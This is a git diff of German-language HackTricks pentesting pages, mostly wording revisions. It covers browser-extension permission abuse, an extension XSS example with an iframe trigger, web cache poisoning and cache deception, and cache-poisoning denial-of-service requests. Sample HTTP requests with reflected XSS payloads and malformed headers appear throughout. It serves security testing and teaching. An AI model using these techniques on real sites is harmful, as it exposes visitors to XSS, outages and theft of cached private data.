+> Bei Browsererweiterungen ist das nicht so. **Wenn eine Browsererweiterung** [**Zugriff auf Ihre Webcam oder Ihr Mikrofon möchte**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, muss sie nur einmal um Erlaubnis fragen.**
-Typischerweise geschieht dies sofort nach der Installation der Erweiterung. Sobald diese Aufforderung akzeptiert wird, **ist der Webcam-Zugriff jederzeit möglich**, selbst wenn der Benutzer zu diesem Zeitpunkt nicht mit der Erweiterung interagiert. Ja, ein Benutzer wird diese Aufforderung nur akzeptieren, wenn die Erweiterung wirklich auf den Webcam-Zugriff angewiesen ist. Aber danach muss er der Erweiterung vertrauen, dass sie nichts heimlich aufzeichnet.
+Typischerweise geschieht dies sofort nach der Installation einer Erweiterung. Sobald diese Aufforderung akzeptiert wird, **ist der Webcam-Zugriff jederzeit möglich**, selbst wenn der Benutzer zu diesem Zeitpunkt nicht mit der Erweiterung interagiert. Ja, ein Benutzer wird diese Aufforderung nur akzeptieren, wenn die Erweiterung wirklich auf die Webcam zugreifen muss. Aber danach müssen sie der Erweiterung vertrauen, dass sie nichts heimlich aufzeichnet.
-Mit Zugriff auf [Ihren genauen geografischen Standort](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) oder [Inhalte Ihrer Zwischenablage](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) ist es überhaupt nicht notwendig, die Erlaubnis ausdrücklich zu erteilen. **Eine Erweiterung fügt einfach `geolocation` oder `clipboard` zu der** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ihres Manifests hinzu.** Diese Zugriffsberechtigungen werden dann implizit gewährt, wenn die Erweiterung installiert wird. Eine bösartige oder kompromittierte Erweiterung mit diesen Berechtigungen kann Ihr Bewegungsprofil erstellen oder Ihre Zwischenablage auf kopierte Passwörter überwachen, ohne dass Sie etwas bemerken.
+Mit Zugriff auf [Ihren genauen geografischen Standort](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) oder [Inhalte Ihrer Zwischenablage](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) ist es nicht einmal notwendig, die Erlaubnis ausdrücklich zu erteilen. **Eine Erweiterung fügt einfach `geolocation` oder `clipboard` zu der** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ihres Manifests hinzu.** Diese Zugriffsberechtigungen werden dann implizit gewährt, wenn die Erweiterung installiert wird. Eine bösartige oder kompromittierte Erweiterung mit diesen Berechtigungen kann Ihr Bewegungsprofil erstellen oder Ihre Zwischenablage auf kopierte Passwörter überwachen, ohne dass Sie etwas bemerken.
Das Hinzufügen des **`history`**-Schlüsselworts zur [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) des Erweiterungsmanifests gewährt **Zugriff auf die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Es ermöglicht das Abrufen des gesamten Browserverlaufs des Benutzers auf einmal, ohne darauf zu warten, dass der Benutzer diese Webseiten erneut besucht.
-Die **`bookmarks`** **Berechtigung** hat ein ähnliches Missbrauchspotenzial, sie ermöglicht **das Auslesen aller Lesezeichen über die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
+Die **`bookmarks`** **Berechtigung** hat ein ähnliches Missbrauchspotenzial, da sie **das Auslesen aller Lesezeichen über die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) ermöglicht.
### Speicherberechtigung
@@ -97,7 +97,7 @@ Sie finden die [**vollständige Liste der Berechtigungen, die eine Chromium-Brow
## Prävention
-Die Richtlinie von Googles Entwickler verbietet ausdrücklich, dass Erweiterungen mehr Berechtigungen anfordern, als für ihre Funktionalität erforderlich sind, wodurch übermäßige Berechtigungsanfragen effektiv gemildert werden. Ein Beispiel, bei dem eine Browsererweiterung diese Grenze überschritt, war ihre Verteilung mit dem Browser selbst und nicht über einen Add-On-Store.
+Die Richtlinie von Googles Entwickler verbietet ausdrücklich, dass Erweiterungen mehr Berechtigungen anfordern, als für ihre Funktionalität erforderlich sind, was übermäßige Berechtigungsanfragen effektiv mindert. Ein Beispiel, bei dem eine Browsererweiterung diese Grenze überschritt, war ihre Verteilung mit dem Browser selbst und nicht über einen Add-On-Store.
Browser könnten den Missbrauch von Erweiterungsberechtigungen weiter eindämmen. Beispielsweise sind Chome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) und [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, die für die Bildschirmaufnahme verwendet werden, darauf ausgelegt, Missbrauch zu minimieren. Die tabCapture API kann nur durch direkte Benutzerinteraktion aktiviert werden, z.B. durch Klicken auf das Erweiterungssymbol, während desktopCapture die Benutzerbestätigung für das Aufzeichnen des Fensters erfordert, um heimliche Aufnahmeaktivitäten zu verhindern.
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 8c5170209..d5fb0db97 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -46,7 +46,7 @@ Eine zu permissive Content Security Policy wie:
```
ermöglicht die Ausführung von JavaScript, wodurch das System anfällig für XSS-Angriffe wird.
-Ein alternativer Ansatz, um das XSS auszulösen, besteht darin, ein Iframe-Element zu erstellen und dessen Quelle so festzulegen, dass das schädliche Skript als `content`-Parameter enthalten ist:
+Ein alternativer Ansatz, um das XSS auszulösen, besteht darin, ein Iframe-Element zu erstellen und dessen Quelle so einzustellen, dass das schädliche Skript als `content`-Parameter enthalten ist:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
@@ -82,7 +82,7 @@ Dieser Snippet ruft den **Wert** aus dem **`txtName`** Eingabefeld ab und verwen
Typischerweise würde die Content Security Policy (CSP) der Chrome-Erweiterung solche Schwachstellen verhindern. Aufgrund der **CSP-Entspannung mit ‘unsafe-eval’** und der Verwendung von jQuerys DOM-Manipulationsmethoden (die [`globalEval()`](https://api.jquery.com/jquery.globaleval/) verwenden, um Skripte an [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) bei der DOM-Einfügung zu übergeben), ist eine Ausnutzung jedoch weiterhin möglich.
-Obwohl diese Schwachstelle erheblich ist, hängt ihre Ausnutzung normalerweise von der Interaktion des Benutzers ab: die Seite besuchen, eine XSS-Nutzlast eingeben und die Schaltfläche „Hinzufügen“ aktivieren.
+Obwohl diese Schwachstelle erheblich ist, hängt ihre Ausnutzung normalerweise von der Benutzerinteraktion ab: die Seite besuchen, eine XSS-Nutzlast eingeben und die Schaltfläche „Hinzufügen“ aktivieren.
Um diese Schwachstelle zu verstärken, wird eine sekundäre **Clickjacking**-Schwachstelle ausgenutzt. Das Manifest der Chrome-Erweiterung zeigt eine umfangreiche `web_accessible_resources`-Richtlinie:
```json
@@ -94,7 +94,7 @@ Um diese Schwachstelle zu verstärken, wird eine sekundäre **Clickjacking**-Sch
[...]
],
```
-Bemerkenswert ist, dass die **`/html/bookmarks.html`**-Seite anfällig für Framing ist und somit für **clickjacking** verwundbar ist. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb der Website eines Angreifers einzurahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend umzugestalten. Diese Manipulation führt dazu, dass die Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.
+Bemerkenswert ist, dass die **`/html/bookmarks.html`**-Seite anfällig für Framing ist und somit verwundbar für **clickjacking**. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb der Website eines Angreifers einzurahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend umzugestalten. Diese Manipulation führt dazu, dass die Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.
## References
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index e4f51cfa3..aaadfd2b3 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -15,13 +15,13 @@ Cache Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um C
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
-1. **Identifizierung von unverschlüsselten Eingaben**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
-2. **Ausnutzung der unverschlüsselten Eingaben**: Nach der Identifizierung der unverschlüsselten Eingaben besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
+1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
+2. **Ausnutzung der Unkeyed Inputs**: Nach der Identifizierung der unkeyed Inputs besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
### Entdeckung: Überprüfen der HTTP-Header
-In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP-Cache-Header**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Entdeckung: Caching-Fehlercodes
@@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
Beachten Sie jedoch, dass **manchmal diese Arten von Statuscodes nicht im Cache gespeichert werden**, sodass dieser Test möglicherweise nicht zuverlässig ist.
-### Entdeckung: Identifizieren und Bewerten unverschlüsselter Eingaben
+### Entdeckung: Identifizieren und Bewerten von Unkeyed Inputs
Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **Parameter und Header zu brute-forcen**, die möglicherweise **die Antwort der Seite ändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, dass das Skript von dort geladen werden soll:
```markup
@@ -43,26 +43,26 @@ Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7
```
### Elicit a harmful response from the back-end server
-Mit dem identifizierten Parameter/Header überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
+Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus der Kopfzeile beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
### Get the response cached
-Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen; du musst möglicherweise mehrere Sekunden lang versuchen.
+Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
-Der Header **`X-Cache`** in der Antwort könnte sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
-Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
+Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
+Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
-Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird häufig verwendet, um **zusätzliche Header** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
+Eine weitere interessante Kopfzeile ist **`Vary`**. Diese Kopfzeile wird häufig verwendet, um **zusätzliche Kopfzeilen** anzugeben, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
-Ein weiterer Header, der mit dem Cache zusammenhängt, ist **`Age`**. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
+Eine weitere Kopfzeile, die mit dem Cache zusammenhängt, ist **`Age`**. Sie definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
-Beim Caching einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diesen gleichen Header verwenden muss**. Immer **testen** einer Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
+Beim Caching einer Anfrage sei **vorsichtig mit den Kopfzeilen, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diese gleiche Kopfzeile verwenden muss**. Teste immer eine Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
## Exploiting Examples
### Easiest example
-Ein Header wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
+Eine Kopfzeile wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
Du kannst eine grundlegende XSS-Nutzlast senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
```markup
GET /en?region=uk HTTP/1.1
@@ -71,13 +71,13 @@ X-Forwarded-Host: a.">"
```
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
-### Cache-Poisoning zum DoS
+### Cache-Vergiftung für DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
-### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
+### Verwendung von Web-Cache-Vergiftung zur Ausnutzung von Cookie-Verwundbarkeiten
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
```markup
@@ -144,11 +144,11 @@ Portswigger-Labor: [https://portswigger.net/web-security/web-cache-poisoning/exp
### Ausnutzen von HTTP-Cache-Poisoning durch Missbrauch von HTTP Request Smuggling
-Erfahren Sie hier, wie man [Cache Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
+Erfahren Sie hier, wie man [Cache-Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
-### Automatisierte Tests auf Web-Cache-Poisoning
+### Automatisierte Tests für Web-Cache-Poisoning
-Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
+Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch nach Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
Beispielverwendung: `wcvs -u example.com`
@@ -160,15 +160,15 @@ ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, un
### GitHub CP-DoS
-Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass nur nicht authentifizierte Benutzer angegriffen werden konnten.
+Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass es nur möglich war, nicht authentifizierte Benutzer anzugreifen.
### GitLab + GCP CP-DoS
-GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass er einen leeren Antwortkörper zurückgibt. Es könnte auch die Methode `PURGE` unterstützen.
+GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP-Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass er einen leeren Antwortkörper zurückgibt. Es könnte auch die Methode `PURGE` unterstützen.
### Rack Middleware (Ruby on Rails)
-In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
+In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
### 403 und Speicher-Buckets
@@ -176,15 +176,15 @@ Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder
### Einspeisen von verschlüsselten Parametern
-Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Varnish von Fastly den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
+Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Varnish von Fastly den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters erstellt. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem cachebaren 400 Bad Request-Fehler.
### Benutzer-Agent-Regeln
-Einige Entwickler blockieren Anfragen mit Benutzer-Agenten, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
+Einige Entwickler blockieren Anfragen mit Benutzer-Agenten, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
### Ungültige Header-Felder
-Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem ungültigen Zeichen, wie `\`, zu einem zwischenspeicherbaren 400 Bad Request-Fehler führte.
+Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem ungültigen Zeichen, wie `\`, zu einem cachebaren 400 Bad Request-Fehler führte.
### Finden neuer Header
@@ -192,9 +192,9 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
## Cache-Deception
-Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
+Das Ziel von Cache-Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
-Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher wird der Cache wahrscheinlich die Antwort speichern, wenn Sie auf `www.example.com/profile.php/nonexistent.js` zugreifen, da er die `.js` **Erweiterung** sieht. Wenn die **Anwendung** jedoch mit den **sensiblen** Benutzerinhalten antwortet, die in _www.example.com/profile.php_ gespeichert sind, können Sie diese Inhalte von anderen Benutzern **stehlen**.
+Zunächst einmal beachten Sie, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **antwortet**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Weitere Dinge, die getestet werden sollten:
@@ -205,13 +205,13 @@ Weitere Dinge, die getestet werden sollten:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
-Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-Mime-Typs (der für eine _.css_-Datei erwartet wird) haben.
-Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
+Erfahren Sie hier, wie man [Cache-Deception-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
## Automatische Werkzeuge
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index c5604ce6a..4e7892fbb 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
-> Auf dieser Seite finden Sie verschiedene Variationen, um den **Webserver dazu zu bringen, mit Fehlern** auf Anfragen zu reagieren, die **für die Cache-Server gültig sind**.
+> Auf dieser Seite finden Sie verschiedene Variationen, um den **Webserver dazu zu bringen, mit Fehlern** auf Anfragen zu reagieren, die **gültig für die Cache-Server** sind.
- **HTTP Header Oversize (HHO)**
@@ -13,9 +13,9 @@ GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
-- **HTTP-Meta-Zeichen (HMC) & Unerwartete Werte**
+- **HTTP Meta Character (HMC) & Unerwartete Werte**
-Senden Sie einen Header, der einige **schädliche Meta-Zeichen** wie und enthält. Damit der Angriff funktioniert, müssen Sie zuerst den Cache umgehen.
+Senden Sie einen Header, der einige **schädliche Metazeichen** wie und enthält. Damit der Angriff funktioniert, müssen Sie zuerst den Cache umgehen.
```
GET / HTTP/1.1
Host: redacted.com
@@ -42,7 +42,7 @@ Cache: hit
Invalid Header
```
-- **HTTP Method Override Angriff (HMO)**
+- **HTTP Method Override Attack (HMO)**
Wenn der Server das Ändern der HTTP-Methode mit Headern wie `X-HTTP-Method-Override`, `X-HTTP-Method` oder `X-Method-Override` unterstützt, ist es möglich, eine gültige Seite anzufordern, indem die Methode geändert wird, sodass der Server sie nicht unterstützt und eine fehlerhafte Antwort zwischengespeichert wird:
```
@@ -80,7 +80,7 @@ CF-Cache-Status: miss
```
- **Normalisierung der Groß- und Kleinschreibung des Host-Headers**
-Der Host-Header sollte nicht zwischen Groß- und Kleinschreibung unterscheiden, aber einige Websites erwarten, dass er in Kleinbuchstaben geschrieben ist und geben einen Fehler zurück, wenn dies nicht der Fall ist:
+Der Host-Header sollte nicht zwischen Groß- und Kleinschreibung unterscheiden, aber einige Websites erwarten, dass er in Kleinbuchstaben vorliegt und geben einen Fehler zurück, wenn dies nicht der Fall ist:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index f3d81982d..37ca0f8ab 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -9,7 +9,7 @@ Dies ist eine Zusammenfassung der Techniken, die in dem Beitrag [https://portswi
## Delimiter
-**URL-Delimiter** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprung-Delimiter sind:
+**URL-Delimiter** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprungs-Delimiter sind:
- **Semikolon**: Wird in Spring für Matrixvariablen verwendet (z.B. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
- **Punkt**: Gibt das Antwortformat in Ruby on Rails an (z.B. `/MyAccount.css` → `/MyAccount`).
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 4cc65e516..be29cc222 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
